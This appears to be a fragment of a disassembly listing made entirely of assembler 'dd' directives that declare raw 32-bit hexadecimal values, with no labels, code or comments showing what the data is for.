dd 2B00DC23h, 4689C355h, 11762FFh, 90D09597h, 3C1E5674h
dd 0E39C197Ah, 5C448046h, 0C17DCFFAh, 0C6FE9010h, 6408A901h
dd 4033D343h, 917702Ch, 18F1D500h, 84F8B5Ch, 0C8B9A3F9h
dd 3F447921h, 4980873Ah, 0A43880DAh, 22001AB2h, 525CB0AEh
dd 0C0D09874h, 90E69489h, 961E5E0Dh, 59008238h, 984FBE9Bh
dd 0ACDC2CF3h, 33E1114h, 65AE02EBh, 29AAE953h, 41194C8h
dd 69D384F7h, 1F7CA2A9h, 0A806633h, 0CEC822E2h, 48833EDFh
dd 50B85A09h, 41A7AF80h, 6C5F5CC1h, 288F3820h, 4A620024h
dd 0C03FC4ACh, 0DAF0933Bh, 0CBEE6102h, 0C1073150h, 8514A5E0h
dd 63F782BCh, 3862EC40h, 0DBEE2517h, 8F5A8A0Eh, 2C0993CEh
dd 0A334809Fh, 65641092h, 85A8B09Ch, 0B938E425h, 14406F4Ah
dd 40DDB4F3h, 1DD02EC4h, 1B91C024h, 4212BEBFh, 60A4069Fh
dd 0E8960178h, 0F98A7BD3h, 832C300Ch, 846C9000h, 29E59FEBh
dd 0EAD40233h, 0B6E1AAF3h, 63037071h, 0A0013A09h, 2E2D6B62h
dd 6050E2BDh, 0F24E072Bh, 522E5871h, 0E6116C7Bh, 4E816C5Ch
dd 0D25DCD28h, 3BFF481h, 0CA40C2B5h, 3D4A7FD7h, 0C8C43CC9h
dd 85E5127Eh, 992C090Ah, 2F626CC8h, 145D5000h, 0A966A54Ah
dd 1D05003Eh, 30CB3C61h, 0E601C222h, 0C60BCC13h, 3980B499h
dd 8D1CF594h, 42E8B6B5h, 441B8625h, 816200E4h, 71AF3452h
dd 0F94CFEA5h, 9849C044h, 7272C72h, 261C536Fh, 962F607Eh
dd 0BA1E87C8h, 9780283Fh, 0BB0D7D92h, 0D4FE0799h, 1F833648h
dd 1B2B4AE0h, 70002A6Ah, 0EEC72201h, 5A5EBBF8h, 0C4304082h
dd 7B0A3998h, 9E282F00h, 1C512995h, 4F702446h, 0F95E00A4h
dd 7AAC6C18h, 49808C91h, 48AEDD81h, 27820F83h, 53805840h
dd 79D85C94h, 2E1FD0B0h, 54000FFCh, 6FB1C631h, 4CEA029Ah
dd 38D0327Ch, 3A4A88C4h, 20888h, 4567D685h, 3CC3085Ch
dd 24A09E05h, 108839D0h, 22A4386Fh, 0E43E6A9Fh, 0FC3B4050h
dd 0FE3AA73Ch, 6BAA17C8h, 0B991BC00h, 4C2B4F99h, 76801081h
dd 73E97AFh, 0CCAD9F1Dh, 0D454E025h, 4D0358EDh, 0DF344C1Fh
dd 730E0756h, 0DC7BC0A4h, 623C4366h, 8BA51287h, 368070C9h
dd 73CBE5E4h, 0EA00622Eh, 0B6AD26A5h, 0B88217Ah, 0A82F5101h
dd 81058A0Eh, 0D21C00E8h, 0D4D9689h, 0C787EC09h, 78989831h
dd 0A964008Eh, 618C4A2Eh, 2517CCB3h, 0CC30F206h, 2ADA42h
dd 62667849h, 4A8487C2h, 8C172900h, 0D0127206h, 4354B634h
dd 7087ACBCh, 7036D8AFh, 0C5688304h, 14C039ADh, 0A9DEB7h
dd 4D926EFBh, 4E14949Ah, 41E19330h, 793F2Bh, 0D2FE90Ah
dd 0D0DAFB6Bh, 0E538DE0Ch, 267758B2h, 1604A759h, 0A4600D97h
dd 660C8B70h, 57CC893h, 7A0E053Ch, 0C04416AEh, 0DDED9B75h
dd 2AD38202h
dd 0F8D79D4Ch, 0B5A401F4h, 9926FFBh, 0B6D460FCh, 0FC24024Bh
dd 826EF8C0h, 0C43F0095h, 30E62F13h, 6603A37h, 51D36B40h
dd 90824EBEh, 1963A32Ch, 4788CF1Ch, 5100C8DCh, 0B5049B78h
dd 283A0CDBh, 75A9E581h, 1B247402h, 70662914h, 939A28D9h
dd 0EE2A0010h, 0AE6181B4h, 6404CFA7h, 37040BD8h, 0B400DCF2h
dd 8FBC49FEh, 9F1FB941h, 0D844FB07h, 68889ACBh, 0AFD2008Ah
dd 2B54E05Ch, 0E2095364h, 1350AA7h, 8247E740h, 89073872h
dd 3F8A4DFh, 0CEA075E3h, 6000D734h, 0AE9367B5h, 0BC707FD6h
dd 7B9A0444h, 80B4A89Eh, 0BCF3EB5Ah, 93D90797h, 81847560h
dd 20CD4F8Eh, 0F112EED8h, 0D4F43AD3h, 98DA0F4Ah, 26405BBAh
dd 0B41F3794h, 0F2128F7Ch, 0B002C34Dh, 792056A2h, 9A460068h
dd 927DB7Fh, 44EEE02Ch, 9C28AEC1h, 0D9C6E1FDh, 12961EF8h
dd 9ECCA4A9h, 0D980A09Ch, 31F467AEh, 1B5C00CBh, 15910911h
dd 8407F540h, 6F5DF26Ch, 43AE34C2h, 0FC41001Dh, 9536AA6h
dd 0C600687Dh, 3A310CA8h, 1F2915BAh, 0D784FF8Fh, 5274C834h
dd 5DD5F400h, 0B0953218h, 17CD2FC3h, 79137410h, 63ADE300h
dd 232A50DCh, 8F520066h, 3DB84107h, 9F0E9E36h, 49A5342Eh
dd 9C44513Bh, 86857A62h, 81EDFD53h, 68094BB4h, 674880C0h
dd 0F54317h, 3B2D54DEh, 340F55F8h, 0D48D602Eh, 38C8AF13h
dd 0D92700BFh, 50F059E3h, 0CA1C7F3Fh, 560E511Ah, 0F9AE80D0h
dd 94D84CCCh, 72C94004h, 4B006A5Dh, 0D376BD34h, 0E1C25A45h
dd 187C202Eh, 3CFE633Bh, 0F85EA902h, 0C0017764h, 596FDC4h
dd 2321C11Bh, 519C1D5Ah, 914C019Eh, 0AF641A41h, 0E52F80BFh
dd 10A57011h, 16FA8509h, 0C802C5E7h, 0AD7A161Ch, 6FE44D01h
dd 29079E8Eh, 80614474h, 2104A775h, 1DD3C065h, 0D89CA4h
dd 727A5F1Bh, 0E839B3DAh, 0E4CFE62Ch, 4B345403h, 8DC69C66h
dd 0F11B02A1h, 5637D2A8h, 4B40CC56h, 27EB180h, 555FEDBAh
dd 28662DA4h, 3D783300h, 0DB83E8D9h, 44F3B11h, 7F44B2Ch
dd 84A79h, 0F41398Bh, 99E38130h, 27CF68h, 7BDA3B7Ah, 2DF6FBA8h
dd 0B3345604h, 10A2038Dh, 0A605DA00h, 2AEA5F39h, 8202C074h
dd 0D05BB18Fh, 40AC5E35h, 0E2CB2973h, 0BD0E5301h, 1BE4CC01h
dd 0B724270h, 5C345B46h, 0E0023090h, 9844BF4Bh, 5CF2FB4Eh
dd 428D7B00h, 0D73D68A4h, 7EACB500h, 1E71E1BCh, 88960F2Ch
dd 681FA5C0h, 74211420h, 3040F4A7h, 80E490F1h, 24FF2930h
dd 829A97h, 0AA6035FAh, 10979C65h, 9801F82Ch, 6D2F02C7h
dd 75F06794h, 0F3A6637Dh, 20888C98h, 86B50737h, 7BFFC0h
dd 0A91DE8BEh, 909708EEh, 0F8AE24h, 0C04C47E9h, 0F306FDD1h
dd 50E48A00h, 948CC6DCh, 585C000Eh, 4F64A44Eh, 0D82760ECh
dd 0FE8064E2h, 164987Ah, 0FC0826B0h, 33024D98h, 5CEE0258h
dd 58DE1C5Ah, 2C611D08h, 683005Bh, 0ECE38D01h, 6440C74Bh
dd 0E6700891h, 0ACA30104h, 0C9BA2FF7h, 49B840ABh, 0F400588Ah
dd 82D977C4h, 0ED4F68h, 0DA7104CAh, 8B1DD678h, 746AE800h
dd 0E2CCE681h, 909BDBh, 56888CCEh, 260018FDh, 21A31A73h
dd 21E3E8Fh, 54AA0B3h, 48AF5B8Ch, 48031981h, 64C86099h
dd 0AE0FB37Ch, 809DE522h, 13EE8110h, 0ABB800DBh, 0A3F234F1h
dd 3E1444FCh, 78C8D5Ch, 41276391h, 0EAAE5230h, 8D8B0BBh
dd 0E7947E49h, 0C004988Eh, 47BCD288h, 0C66429ADh, 124880F8h
dd 0DE0F0570h, 0DB002673h, 28455B86h, 11790FCh, 533BA922h
dd 832F1865h, 0F8BFC5E8h, 3CA1E020h, 24EF48A3h, 2410882Fh
dd 2D0BB632h, 80BC85AEh, 69D37424h, 14A590B7h, 9CB4E182h
dd 1EDE6F80h, 0B9248A5Fh, 0CE41B465h, 187C27D0h, 56D8E898h
dd 0A6803A63h, 0AE740F9Ch, 0BA2049B3h, 39E8D117h, 0D9286FE8h
dd 9305C0F1h, 20D01EFEh, 17D48889h, 378B255Ch, 49DAA010h
dd 86D85F00h, 0E307CBB6h, 1EEBE812h, 0A4E18A65h, 7226419Ch
dd 0B83DCCF1h, 0FC96F48h, 8057236Dh, 7478574h, 13E275D3h
dd 0BF0224Ah, 0B400920Dh, 0C6D76772h, 784CDCBAh, 0AB28601Dh
dd 26FDB96Ah, 109C17B3h, 385004AFh, 2C9CE187h, 20E51DBDh
dd 9097C502h, 6310C1AAh, 0F2A8214Eh, 0D42D6241h, 2B09B922h
dd 0D01A8903h, 9D582D7Ch, 3E4CB010h, 0BB53DE00h, 4976419Ah
dd 74CA1C96h, 1D4A807Ch, 1EECFD38h, 0ED5C3D04h, 7CEC7BBCh
dd 5E5A8A87h, 71596D67h, 0F81A7703h, 864CD5B5h, 66DA05FCh
dd 0B007C2CAh, 81804F61h, 0F5D0CFF5h, 463F8063h, 696F1E00h
dd 96A63959h, 0BFE00161h, 0B860B2D3h, 4F4974B0h, 83504A67h
dd 6D724084h, 0BF70789Bh, 3A89D13Ah, 17B204B9h, 74FC63A8h
dd 8F48F0D3h, 0B82F5B3Fh, 0C8B0796Ch, 0CC8A54Bh, 0DF801FE1h
dd 0AE20C02Ch, 0A5C9FED5h, 0A43F072Eh, 494E1103h, 70C6D04Ch
dd 0A89007ADh, 7C64B722h, 5C261841h, 0DD11BCA3h, 7C489E27h
dd 0C90F1149h, 0E11D5A28h, 356DB964h, 0C05939BAh, 0B6DA8F83h
dd 1E03D3E8h, 30AF221Dh, 0B3EE2D81h, 20706E5Fh, 3C40D0ABh
dd 4240B87Dh, 468100C7h, 80AC8E40h, 519D0F13h, 0ED04CAD0h
dd 475CC7B2h, 40E4A990h, 80649238h, 40EAF0Ah, 0F39B91h
dd 0D0205DCCh, 0F24A169h, 0D8E29A2Ah, 0B9A90E16h, 4D258902h
dd 1E1B5C81h, 883B5276h, 4000DC4Ch, 5005B2E4h, 0F65E6F74h
dd 68290B7Ah, 0B09D65h, 904807D4h, 0AC777DD8h, 1CD3709h
dd 52D0109Ah, 4F2E025Bh, 0BD99ED55h, 89008450h, 67019F3Ch
dd 2411E7ABh, 4710C8D9h, 5AFEE064h, 42B88723h, 2E3631Eh
dd 6C1FBCD7h, 9A062447h, 8D838048h, 612C180Bh, 0A300717Fh
dd 0F4630F2Eh, 18FC1D3h, 50211205h, 2165F9C5h, 9903E46Ch
dd 0C0404F5Ch, 3A4CC983h, 0DBF60014h, 0E024AC84h, 229AAFDh
dd 0A24F4C6h, 220E7E00h, 0BB9F938h, 0E0EB4A3Ah, 0A8E08C64h
dd 359810B5h, 0A0A34C08h, 0C2B68FC0h, 740B1AC1h, 0E6E1E0FCh
dd 8491DE8h, 174F808Ch, 278EA060h, 4505267Eh, 38C6F1CDh
dd 58E154F0h, 5DC9A4A9h, 4135E818h, 0B0362400h, 0EABD90E8h
dd 0B358391Ah, 0DC830125h, 0D825FBACh, 7FFC907Ah, 9BEAC7h
dd 0AA5765F4h, 0AE8E4ECEh, 0F83DF704h, 0E4A2D7B0h, 5F920F00h
dd 30EBD291h, 3EEFEA0Fh, 43C8E49Fh, 0C77914D1h, 1079848h
dd 644D1BA9h, 8B04A414h, 976DD8h, 0E215E1E8h, 66504E0h
dd 81FDFBA9h, 0F05CB6F0h, 53278708h, 3B42D2EBh, 510937D6h
dd 0F46466B8h, 23070B01h, 714E4801h, 484D5CE4h, 0DFC0740Ch
dd 0E9B83927h, 5B7472ECh, 5D7A7F7Bh, 6921F107h, 1891EE8Ch
dd 202EC6D6h, 9ADEF424h, 9FE4B760h, 0A6CCE4h, 4935E96Fh
dd 0EDCB51C4h, 5E7244B0h, 0EF76E20Ah, 1E40C0C6h, 0B8A38988h
dd 0EAD20435h, 0A926D05Eh, 0D4AA8138h, 742D5F34h, 296CB90Ch
dd 6EC1841h, 9176F01h, 12F9F6B1h, 0C372F8h, 0DFBE2211h
dd 2F3B3163h, 0E443E4BCh, 7B898087h, 798F39B8h, 0D2DB3480h
dd 0FE483CC9h, 0AAE9E605h, 0C2FF0AB5h, 1141E4BBh, 0BBE0604Ah
dd 4426D327h, 88FA5AE0h, 0FB7247D0h, 0A471AA00h, 6FA8036Dh
dd 93DB8837h, 0C7428507h, 1AB065EFh, 0C4BBEE2h, 8FCD87DAh
dd 878B90E0h, 9D678A30h, 54C00E6Fh, 9EA9BE09h, 683CE468h
dd 70DD500h, 422718FEh, 8CEA6Ch, 0D86DA57Eh, 6A776F7Fh
dd 0BFA5609h, 807101h, 3F58D21Bh, 0CF00AF47h, 6321F4C0h
dd 0F5FD9Eh, 5395092Dh, 542E4B3h, 23D77C0Bh, 6CE08051h
dd 48CA0D63h
dd 7E8754C8h, 7B78C046h, 2FF9C468h, 92DF1400h, 0F1357Ah
dd 0D6EB293Bh, 70A55C23h, 61261D00h, 0B51594DFh, 90049771h
dd 60A23Dh, 0AE772F08h, 4E7009BDh, 0F5A44095h, 0DEB0FA86h
dd 9C0C0200h, 775EB9CEh, 7A3A01A0h, 5081FD8h, 0C2808125h
dd 3E8E48E1h, 0B5F9830h, 0FF038FB6h, 827D1880h, 3600736Fh
dd 265874FEh, 2EE6C494h, 0B3C13AFh, 88598EAAh, 0E700A426h
dd 756C5CB1h, 1E3675AFh, 823739CDh, 0B80D92D1h, 20B00840h
dd 42E36F00h, 844A8F3Eh, 272AF78Eh, 51D5906Ch, 360B0850h
dd 80F48BE8h, 8F14563Eh, 45341F7Dh, 0B06E804Ah, 58FD109Dh
dd 0A0909E4Eh, 0E212745Ah, 4173123Fh, 6B82098h, 7E00DE40h
dd 0CF7D4A8Ah, 142B4AAh, 51F6D923h, 685EF2C3h, 6B018014h
dd 955483Fh, 32F8559h, 490098F1h, 0C9FAE8E6h, 0B5F29822h
dd 4E803C10h, 2D1761F4h, 0ECC8813Ch, 0A478045Bh, 82BC34F9h
dd 512B65C4h, 0EADE0048h, 0AD8FE099h, 0D0EFF226h, 0BB1AC300h
dd 379B09h, 2FA5E3D5h, 2CB3800Eh, 612EB9FCh, 2350743Eh
dd 0A6C83E16h, 81BD6A00h, 0A46425F2h, 0EF672B01h, 37C0D8CAh
dd 8D74207Bh, 0FF07A371h, 0E5AB0483h, 13BC77E0h, 0A9A6012Ah
dd 0FEB1F1CBh, 283D96h, 3A59F6BDh, 0EA9C32h, 0DF13E373h
dd 174E6FDDh, 9E99F00h, 4658FD7h, 20E24F7Fh, 4114C5A4h
dd 3726100h, 0F339A090h, 2A3E682h, 0CBFDC13Eh, 8C7CBFE2h
dd 0E8241B44h, 194980ACh, 0E78F5848h, 45DCA6F1h, 9DED000Ah
dd 0C2128EC7h, 0DB136DA9h, 0ECB282B8h, 0BC3DF13Ah, 0AD9CFD8Fh
dd 1B2880C0h, 9528A934h, 2C006CBEh, 0FA5F0412h, 94B64E01h
dd 60B0034Ch, 904F2805h, 32868C30h, 1F9890C3h, 0C0675C7Ch
dd 0D3E88158h, 0C8B0F269h, 14C06C5Ch, 1C977Eh, 0CA3CB93h
dd 26F2A4h, 2970AD2Fh, 79C4D1FFh, 0AB1F98F6h, 3442EB87h
dd 310B124h, 4100FC93h, 7142F072h, 7F814F2h, 52FDB82Dh
dd 10C9D71Eh, 5B9D7DF6h, 0AF65B405h, 90B83AD3h, 4234DDDCh
dd 0C6F978B3h, 0A900787Ah, 934C6B05h, 0BE047D4h, 70F101D9h
dd 18598009h, 8E8CE707h, 23558A00h, 0D01E09BEh, 0A0D98BD6h
dd 5756691Eh, 40FA5D0Fh, 8C8EE8E7h, 9E71C9h, 0F06BB9Dh
dd 26CD96FFh, 14688150h, 0E3C8D00h, 0AB775749h, 288B0029h
dd 82E0FEEFh, 0C83DA4CCh, 0CD7013AAh, 0C400ACA2h, 45F90189h
dd 710008F2h, 1A584FA8h, 4B28204Bh, 0CDE4D199h, 0C282F0D8h
dd 613A362Dh, 7AEC75ECh, 0B016F04Fh, 53342539h, 0AF22A820h
dd 50EF0A7Bh, 0D74B546Ch, 0F7A3B200h, 9DB14645h, 8EB51EAFh
dd 9F2A8284h, 8856AA48h, 0C6D0C247h, 1D2E635Dh, 491FBA57h
dd 0FC4667B9h, 129C763Ah, 70321DD0h, 9614233Eh, 0A511F6B8h
dd 1A531804h, 8C8092F8h, 95216520h, 0F71D2090h, 7364A700h
dd 0DD9EC058h, 0DB9B3A2Ch, 0DC0B2B01h, 30026C4Bh, 992FB9D2h
dd 1C649Dh, 0CE461EDh, 35F8927Ch, 82815Fh, 3EA26073h, 0D7C84F62h
dd 0CFBE078h, 6E00374Ch, 68984846h, 2EBA869Bh, 1234537Fh
dd 0B298C097h, 3412C611h, 44887460h, 0E343003Fh, 6462983Ah
dd 0F3A0B803h, 4B7885E0h, 534EF00Bh, 3B247106h, 0AFF43F00h
dd 0E1715F8Ah, 0A020AC4Eh, 16BBE862h, 0B2E0EBDAh, 9A21092Ch
dd 1C71ABh, 0D41A1327h, 9D03571Ch, 0CF4F854Eh, 8138A052h
dd 899A2434h, 0E4780FE0h, 684E25C0h, 5A011DABh, 66FDE0F1h
dd 407364B9h, 0FCCEBF0Eh, 880D7E9h, 4A82AE84h, 0F4568F13h
dd 925C7900h, 17ABBC6Fh, 3058F8E3h, 6CFDC96Ch, 51750800h
dd 0AD29230Ah, 0BC31017Bh, 795F1235h, 830C2CD7h, 0A892D2F6h
dd 176B7185h, 8826277Bh, 6F007914h, 81F261AEh, 0E6F78529h
dd 171A3E5Bh, 0C5B24F01h, 3990A811h, 31E1C64h, 67ED837Eh
dd 0F2B84A9Eh, 0B7D8C0FBh, 115C0964h, 3C1817E7h, 46008D37h
dd 0D938420Ah, 23BEFAFh, 2183AC88h, 8E06A69h, 84B537CFh
dd 98ACD5E0h, 0DC6FC780h, 663A21B4h, 0E2E900A9h, 0A1AE3398h
dd 7ADA0139h, 0D7A773D6h, 34202F8Eh, 0F41726h, 0BA232186h
dd 0B4F83DDh, 19F1AF07h, 0E220C5FFh, 98FE9BB2h, 0BD961490h
dd 0AA25D04Fh, 67020CC4h, 0A80F5735h, 97FCFC61h, 0D9F830CEh
dd 2D005F25h, 0A52FA914h, 0FB2EB5h, 0E3CF4A0Bh, 6C950A88h
dd 71BA7F05h, 34E3D03Ah, 29360270h, 24988CBh, 12A03841h
dd 7250785Fh, 21927DBFh, 1C008114h, 8BB4B1B6h, 284E00A9h
dd 58170E33h, 9F0909E7h, 0D12F3513h, 0B7430E18h, 477603E0h
dd 0E1166A2Eh, 9D0068DFh, 0F54A17B2h, 6F74066Eh, 0A03D0E05h
dd 0D0FBEC45h, 90D6F6ABh, 0D4760240h, 0E1A30834h, 0C1901355h
dd 188B71C9h, 5400398Bh, 2935B572h, 0A751D0DDh, 0A151D004h
dd 0E30A995h, 0E3D26601h, 84BA8E1Eh, 0A7B0A8h, 316AE97h
dd 6709E490h, 0FA9AD22h, 1000720Ch, 0D3CB9C64h, 7CB121h
dd 837F03D1h, 1B090BE9h, 40B79E63h, 2C309C30h, 0C4FCE1BAh
dd 0C5662127h, 0AD04092Bh, 4409305Ch, 0FCC87298h, 9EA0063h
dd 0AD46DACCh, 2601C37Ah, 0B6E9D5F3h, 34629A32h, 8870A3Bh
dd 0F08C0637h, 0D0F5E471h, 272A4B00h, 0D13F9878h, 7246043Bh
dd 0C31C7EEDh, 0B1878F6Ch, 2D945DB7h, 44DB00F4h, 1CBA63F3h
dd 0F498003Eh, 72EDDE79h, 35E70ECh, 0D0095C20h, 1AEB00FBh
dd 7689E913h, 0CB3D070Ah, 0E6FC80E0h, 80973E6Dh, 0C8114E6Fh
dd 59758A00h, 408E5400h, 0B0640429h, 0C88F4C3Eh, 0CA6A83C0h
dd 883AA684h, 0EB050076h, 0F8B3125Dh, 203739D0h, 6F6421A4h
dd 558C88B2h, 2CED2524h, 1C024212h, 44B5E1A9h, 0B1773C18h
dd 32BBC017h, 0D420EFC0h, 4EB948B8h, 1120406Fh, 0B3370414h
dd 9C88AC4Fh, 273C07C2h, 0E1DB2565h, 40B4E161h, 90705F30h
dd 982BC024h, 0FC2C6F60h, 0DDA800EDh, 0CA233DD8h, 4C12671Ah
dd 0EC082E82h, 26188E35h, 5FAE7DE1h, 604E716Eh, 5F84E470h
dd 872C88AAh, 0FF07E500h, 0B541DB9Ch, 405C9E7Fh, 54BF38Dh
dd 284D2601h, 9A2B3574h, 0EFE4402Eh, 341C876h, 59B31807h
dd 9537C4C1h, 37CCAF00h, 0A8EF3FEEh, 0E00A8C8h, 5C128ADEh
dd 0B807D26Ch, 35F945DAh, 0F405189h, 598008DEh, 287BED2Dh
dd 8F0E9890h, 12A4D1B9h, 0FB496840h, 421C89Eh, 794D3599h
dd 93D4C216h, 0A861D8E2h, 0D05861A8h, 10C141EEh, 91B8D85Bh
dd 98FDE420h, 81097ECh, 49604BA4h, 338AABD0h, 0CB430026h
dd 8E8D9CFh, 90B9CD89h, 0C0250180h, 0B09C050Ah, 7490C9E3h
dd 4A11FC56h, 0B325350Dh, 80B43C31h, 86269CCDh, 0A49418h
dd 9B0917DDh, 0AA07DA90h, 237D51ADh, 0AC5129h, 0AFCA418Bh
dd 7624184Ah, 7F01986Fh, 902C63Fh, 0B8D0882Bh, 15373Ah
dd 0D92875D2h, 193176Ah, 41FE355Eh, 0C5668C3Fh, 38D83050h
dd 0A4C8FF44h, 656409F0h, 1E00E58Ah, 282F1F14h, 78300A4Bh
dd 3DBDE39Dh, 930F7444h, 0B140DB55h, 0FBDDCE90h, 39260D7Fh
dd 8A029805h, 0F298B224h, 0AED18080h, 0F88D3894h, 0E45C8380h
dd 977B7EF6h, 27B11650h, 27C3900h, 0CDC29B6Eh, 7948C073h
dd 463CFD2h, 22FECBE8h, 0BD29AE00h, 6C18FC8Eh, 0DA56015Ch
dd 926353A9h, 0E4662Ch, 76519AB4h, 0B76B5C02h, 297B6800h
dd 9CA30F91h, 7E0340CCh, 0CBF99Dh, 6D6C1473h, 4DAEC970h
dd 0A11B5502h, 0D29A01ABh, 0F9720068h, 6A977C0Bh, 4C09B28Dh
dd 0D9B7397Dh, 85901CF0h, 8166764Ah, 0ECB8A610h, 0DB26E18Eh
dd 1E4510EBh
dd 2738C032h, 942A8080h, 0C507A833h, 64E2E567h, 419AFDF2h
dd 40239D7Ch, 281F6800h, 0AA67E6C9h, 0DB20C095h, 12230960h
dd 0CC1831AFh, 0A0F2576h, 61F77F63h, 6923E444h, 1DD667C4h
dd 45B98961h, 0C26C4020h, 9840A374h, 0C135379h, 80223A34h
dd 40C456EBh, 0EA972164h, 50871F2Dh, 4A351406h, 0FF3FCD49h
dd 39D37585h, 377008F9h, 0FBD8880h, 0B55F5957h, 4B40D892h
dd 7DE8EE8Fh, 0B85C34FEh, 2C27C090h, 94773h, 7AB53A15h
dd 0B7531436h, 6AE32300h, 16E8A14Fh, 0BBF800FBh, 336D78B2h
dd 36127F71h, 4A00B521h, 5AEEDEDCh, 964E3081h, 0C97EB919h
dd 0B400D5E6h, 42C25F40h, 72E4981h, 0CC07BF95h, 0C9E6702Fh
dd 4C9048A5h, 0B7939C0h, 1C2CA913h, 0F03AB17Eh, 0AA5DD719h
dd 9FF87A02h, 40FA16F7h, 6F52818Dh, 2B22022h, 0E0C3C9A3h
dd 0D485BEC1h, 2F00BDA3h, 12A8A06Ah, 1819D50Ah, 0E936FF2Bh
dd 0DA00557Bh, 0AE25707Fh, 18329343h, 2133FEF6h, 0CDFCB0C2h
dd 91CFEA00h, 132A9611h, 0F62F0094h, 214E65E3h, 0C5073D0Bh
dd 9A92E6E5h, 0BE9D6C80h, 0AF5CA039h, 13D407F0h, 938267B2h
dd 0DCF0F70Ah, 0BC372CC0h, 0C2B068EDh, 3BE7A451h, 0D1E053E8h
dd 4D677163h, 0A58B4800h, 28043445h, 21B86394h, 75A89B36h
dd 58C0C999h, 0D05161B2h, 8BEEFE2Ch, 8B3AF9A1h, 9F9631h
dd 625E10FBh, 0F1C53D94h, 453650E4h, 5C187232h, 185E595Ah
dd 2137FE99h, 260F0695h, 80B29B31h, 526C8CEAh, 3F61C035h
dd 0C81C792Eh, 0C0770500h, 0E164BF93h, 73A700AFh, 0EB7ACE11h
dd 31CF04FEh, 1E3BC094h, 4608F2h, 81824416h, 4880EBDCh
dd 29345230h, 6ED6CF4h, 3940D69Dh, 0C48A190h, 8CCF0022h
dd 0A21BCE5Bh, 29E80796h, 50E97602h, 0EBB0EEDCh, 0CFED951Dh
dd 5138110Ch, 6F9B0113h, 67A69444h, 0AEA885ECh, 0A800BCD9h
dd 0EBDF296Ah, 31396210h, 9C81ABC2h, 0F0C7B7E3h, 59E0A0F8h
dd 0F1DCB902h, 9039A195h, 887B6BA0h, 69F02F11h, 4BC908A0h
dd 474560C0h, 0B83C6F4Ch, 29C4FCDCh, 0A2D8B72Ch, 4869203Ch
dd 315EE000h, 0BA2D94C2h, 0A69300EBh, 18B76764h, 0A1240D5Dh
dd 9B60BC98h, 0FAD494B4h, 956D005Bh, 310FA19Eh, 4701135Fh
dd 0C02E0CBEh, 0DC4853A4h, 57902C3h, 666F37F5h, 394DE898h
dd 5AB8A901h, 0B7941A54h, 4C219A4h, 8815C85Ch, 4600500Ch
dd 661E57E5h, 3A04AFEh, 3708FAFCh, 19E911CFh, 84E180A7h
dd 0C4A2559Fh, 7F3C0066h, 59FC80E0h, 0E7007581h, 3BA82629h
dd 8752A2h, 0DF55AE8Fh, 11D0C7A0h, 95E3E600h, 69436BD1h
dd 99BC1CEFh, 8454807Ch, 17285221h, 0C51ED471h, 2546DD53h
dd 3799119h, 6BAE705Ch, 0B7C8D673h, 7C00F6FCh, 4014031h
dd 3395F2F4h, 81D13F9Ch, 0D15E388h, 8A4011DDh, 3D30963Bh
dd 8F0500B3h, 0D3172C47h, 3102777Bh, 8C190468h, 0F8D88046h
dd 5094FEA6h, 3AC289Fh, 5C0EFAB2h, 0A8B999B8h, 71D7D01Bh
dd 0B0476F24h, 0E0B82E69h, 0DDC0CA31h, 0EC820CD5h, 68213BFEh
dd 1801CEECh, 90C0EF8Ah, 0D8220731h, 1EEC240Fh, 0BF94A3A0h
dd 53049B76h, 9835B4A2h, 3C334CC0h, 94609FF6h, 8E0A641Eh
dd 90D91796h, 79118080h, 62BA5950h, 2652CA20h, 1C2DF8A1h
dd 0F47DD1ABh, 2A03D762h, 0FC48E9A6h, 9932A8F1h, 1C511DBFh
dd 721A8CF6h, 9F359591h, 0B807B93Eh, 51B79475h, 21CEED30h
dd 276D0054h, 0BF96BA25h, 61004D78h, 9766E3BBh, 0DDB6AFA0h
dd 0C4E50030h, 0E25EBCBh, 0B581950h, 0C5CD97A0h, 0FAA6B10Bh
dd 81E701B3h, 81809439h, 0E28063BBh, 0BE0740C0h, 0D94623C6h
dd 717219E0h, 2CC10C81h, 3C51A6A1h, 5D002C99h, 836C4A37h
dd 718B0162h, 6FC61F57h, 66E88033h, 65AF641Ch, 41A07FAh
dd 0C0823B56h, 0D831E9ACh, 264CD058h, 2B113877h, 0F0BB1D0Ch
dd 1430EE69h, 0F3B71937h, 9E3304AFh, 20FFEB7Fh, 51AA1Dh
dd 0EE23A0C5h, 0D080DF25h, 62222414h, 3F909014h, 0E9BC93B4h
dd 0BF83E85Fh, 9815F7E1h, 1918ADDAh, 31275382h, 9B24C872h
dd 7D7E5BF8h, 8F78F60Ch, 6E5FA57h, 169F6597h, 5C0A8066h
dd 90BD2CDAh, 20724D42h, 0A2C12265h, 1550191Ch, 470A8407h
dd 0ED463FE0h, 0CD0B0BDh, 25FDEBF6h, 3258FE79h, 0FFCB8020h
dd 0AD4E92h, 8077E71Dh, 0F80C8FD5h, 0E21E287Fh, 0F0304721h
dd 90B996C3h, 0EE1800A8h, 0AC68DA71h, 0C800C493h, 4AC2CF08h
dd 0C095397Fh, 24B72299h, 8A004251h, 5920ED23h, 3CA777CBh
dd 0DC0B34C9h, 0CC18FEA0h, 0CAF20E70h, 0CFB6F601h, 449CFAE6h
dd 7F0D7084h, 0C9808CF5h, 0CDBE90Bh, 84CB800Eh, 7E3B17h
dd 8550EE0Fh, 0D1470534h, 0E9822890h, 0DCD49820h, 8601E0B6h
dd 6F9A9029h, 0B462FE3Bh, 387BA800h, 8571E6D4h, 0D8372F00h
dd 1A319651h, 0DBA1C165h, 605FAA8Fh, 7D01BF46h, 16F40DFAh
dd 99871E53h, 105A510Eh, 0D45B18A3h, 3B802E01h, 0D9CBB443h
dd 0C0596831h, 0C37F6047h, 26099D94h, 40CC1819h, 0F8264C52h
dd 1C42CB05h, 0CEC00C7Ch, 19AA11Bh, 75B5C83Fh, 7270317Bh
dd 6F953DFCh, 0D81E1289h, 46FF8002h, 7C4453h, 0A20F3F82h
dd 0CE2A551Fh, 86494C04h, 14C2315Dh, 0EEC51078h, 48C069ECh
dd 0B45AF851h, 7CED4C81h, 0D8B3D5C0h, 640EC2F2h, 12AA2CC7h
dd 0D8E0780Ah, 0D3430E01h, 9E101E52h, 6802AA3Eh, 0F7635AC8h
dd 60C0828Dh, 6A8C997h, 0F5D0EBF1h, 775E7DE5h, 9116F07Bh
dd 0C2F880CCh, 3955477Dh, 48A9AA60h, 6A60C9h, 5A7F9998h
dd 75C544A5h, 4EB0CB00h, 0AF5DFB0Fh, 8DE20A96h, 80ACA417h
dd 0D205F02h, 6007908h, 6D0BB65Ch, 7CB12C3Dh, 0D41C136Ah
dd 5DD00196h, 4839A73Eh, 0CD0011B0h, 0B7CBC094h, 13A6C4Bh
